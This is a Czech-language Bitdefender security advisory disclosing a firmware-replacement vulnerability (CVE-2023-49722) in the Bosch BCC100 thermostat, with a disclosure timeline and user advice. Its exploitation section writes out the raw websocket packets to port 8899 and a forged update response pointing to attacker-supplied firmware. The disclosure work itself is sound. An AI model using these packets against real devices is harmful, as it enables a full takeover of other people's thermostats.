Význam inteligentních termostatů podtrhuje několik faktorů: energetická účinnost, ekologická udržitelnost a rozšíření technologií inteligentní domácnosti. Tato zařízení mají zásadní vliv na úsporu energie, a s ní spojené úspory nákladů, a zároveň výrazně zvyšují komfort bydlení.
Kombinace energetické účinnosti, pohodlí a ekologického uvědomění, které rezonují se současnými preferencemi jednotlivců, vlád a společností, vedla k diverzifikaci ekosystému složeného z mnoha dodavatelů a technologií.
Bitdefender, jako tvůrce prvního kybernetického bezpečnostního centra pro inteligentní domácnosti na světě, pravidelně kontroluje populární hardware IoT na zranitelnosti, které by mohly mít vliv na zákazníky, pokud by nebyly vyřešeny. Tento článek je součástí širšího výzkumného programu, a jeho cílem je osvětlit bezpečnost světových bestsellerů v oblasti IoT. Tato zpráva se týká termostatu Bosch BCC100 a odhaluje zranitelnosti, které se týkají verze SW 1.7.0 - HD verze 4.13.22.
Zranitelnost v kostce
Během našeho bezpečnostního auditu objevili vývojáři z laboratoří Bitdefender zranitelnost, která umožňuje útočníkovi ve stejné síti vyměnit firmware zařízení za podvodnou verzi (CVE-2023-49722).
Časová osa zveřejňování
29. srpna 2023: Bitdefender navazuje první kontakt s ohroženým dodavatelem a předkládá úplnou zprávu.
18. září 2023: Bitdefender se dozvídá, že problém je stále předmětem interního vyšetřování u dodavatele.
04. října 2023: Zranitelnost je prověřena a potvrzena.
30. října 2023: Bitdefender žádá o aktualizaci a je mu sděleno, že se problém stále řeší.
11. listopadu 2023: Oprava nasazena do výroby.
17. listopadu 2023: 2023: Bitdefender žádá o další informace o časovém plánu aktualizací v rámci přípravy na koordinované odhalení zranitelnosti.
11. ledna 2024: Tato zpráva se stává veřejnou.
Průzkum zranitelnosti
Termostat má dva mikrokontroléry, které spolupracují, jak je vidět na obrázku níže. Ten vpravo, žlutě, je čip Hi-Flying HF-LPT230, který implementuje funkci Wi-Fi. Funguje jako síťová brána pro logický mikrokontrolér. Čip STMicroelectronics, STM32F103, v červené barvě, je mozkem zařízení a implementuje hlavní logiku.
Čip STM nemá žádné síťové funkce a při komunikaci s internetem se spoléhá na čip Wi-Fi. Používá protokol UART k předávání dat čipu Wi-Fi, který funguje jako brána/proxy a navazuje vlastní spojení se servery.
Zjistili jsme, že čip Wi-Fi také poslouchá na portu TCP 8899 v síti LAN, a zrcadlí všechny zprávy přijaté na tomto portu přímo do hlavního mikrokontroléru prostřednictvím datové sběrnice UART. To znamená, že při správném formátování mikrokontrolér nedokáže rozlišit škodlivé zprávy od pravých zpráv, zaslaných cloudovým serverem. To umožňuje útočníkovi odesílat příkazy do termostatu, včetně zápisu škodlivé aktualizace do zařízení.
Aktualizace termostatu libovolným firmwarem
Termostat komunikuje se serverem connect.boschconnectedcontrol.com prostřednictvím souborů v kódování JSON přes webový soket. Pakety odesílané serverem jsou nemaskované, takže je lze snadno napodobit.
Nejprve odešleme příkaz "device/update" na port 8899, který zařízení informuje o nové aktualizaci a o zahájení aktualizačního postupu:
\x81\x46{"cmd":"device/update","device_id":"<device mac address>","timestamp":1111111}
Tím se termostat zeptá cloudového serveru na podrobnosti o aktualizaci:
{"cmd":"server/fireware","device_id":"<device mac address>","timestamp":"<unix timestamp>","model":"BCC101","version":"1.7.0","id":"0"}
Server sice odpoví chybovým kódem, protože není k dispozici žádná aktualizace:
{"error_code":"99","cmd":"server/fireware","device_id":"<device mac address>","timestamp":"<unix timestamp>"}
Zařízení rovněž přijme podvrženou odpověď, obsahující údaje o aktualizaci:
\x81\x7e\x01\x33{"error_code":"0","cmd":"server/fireware","device_id":"<device mac>","timestamp":"<unix timestamp>","model":"BCC101","version":"<fw version>","url":"<firmware URL>","size":"<firmware size>","isize":"0","pic_pos":"2930","md5":"<firmware md5>","type":0,"release_date":"1111-11-11"}
Tento paket obsahuje URL adresu, odkud bude firmware stažen, velikost a kontrolní součet MD5 souboru firmwaru, a verzi nového firmwaru, která musí být vyšší než současná. Pro ověření pravosti aktualizace firmwaru neexistují žádné mechanismy.
Pokud všechny podmínky odpovídají, termostat požádá cloudový server o stažení firmwaru a odešle jej prostřednictvím webového socketu:
{"cmd":"server/deviceUpdate","device_id":"<device mac>","timestamp":"<unix timestamp>","url":"<firmware URL>","pindex":"0"}
URL musí být přístupná z internetu, protože cloudový server je součástí, která soubor stahuje. Poté, co zařízení soubor obdrží, provede aktualizaci. V tomto okamžiku je zařízení považováno za zcela kompromitované.
Osvědčené postupy pro zařízení IoT
Domácí uživatelé by měli pečlivě sledovat zařízení IoT, a co nejvíce je izolovat od místní sítě. Toho lze dosáhnout zřízením vyhrazené sítě určené výhradně pro zařízení IoT.
Kromě toho mohou uživatelé IoT používat bezplatnou aplikaci Bitdefender Smart Home Scanner ke skenování připojených zařízení, identifikaci a zvýraznění zranitelných zařízení. Majitelé zařízení IoT by také měli zkontrolovat novější firmware a aktualizovat zařízení, jakmile výrobce vydá nové verze.
Comments